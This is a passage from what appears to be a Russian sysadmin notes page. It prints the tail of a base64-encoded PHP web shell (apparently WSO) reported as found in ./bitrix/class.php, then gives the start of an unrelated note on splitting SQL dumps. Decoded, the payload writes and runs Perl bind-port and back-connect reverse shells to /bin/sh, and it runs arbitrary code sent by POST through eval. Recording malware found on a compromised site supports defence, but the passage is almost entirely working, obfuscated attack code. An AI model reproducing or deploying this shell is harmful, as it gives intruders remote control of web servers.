0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKCSRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsKCWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JwcCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbcGVybF08L3NwYW4+PGJyLz4KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4KCTxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4KCTwvZm9ybT48YnI+IjsKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKCQlmdW5jdGlvbiBjZigkZiwkdCkgewoJCQkkdyA9IEBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7CgkJCWlmKCR3KXsKCQkJCUBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTsKCQkJCUBmY2xvc2UoJHcpOwoJCQl9CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKCQkJJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsKICAgICAgICAgICAgc2xlZXAoMSk7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsKICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JwLnBsIik7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewoJCQljZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKCQkJJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uUkMoKSB7CglpZighQCRfUE9TVFsncDEnXSkgewoJCSRhID0gYXJyYXkoCgkJCSJ1bmFtZSIgPT4gcGhwX3VuYW1lKCksCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLAoJCQkid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLAoJCQkic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQoJCSk7CgkJZWNobyBzZXJpYWxpemUoJGEpOwoJfSBlbHNlIHsKCQlldmFsKCRfUE9TVFsncDEnXSk7Cgl9Cn0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApCglpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCgkJJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CgllbHNlCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKZXhpdDsK"));

Встречал в файлах:

  1. ./bitrix/class.php

Split / разбить dump

//Разбить дамп по 50000 строк for i in `ls *.sql`; do split -d -l 50000 -a 4 --additional-suffix=.sql $i "$(basename "$i" .sq...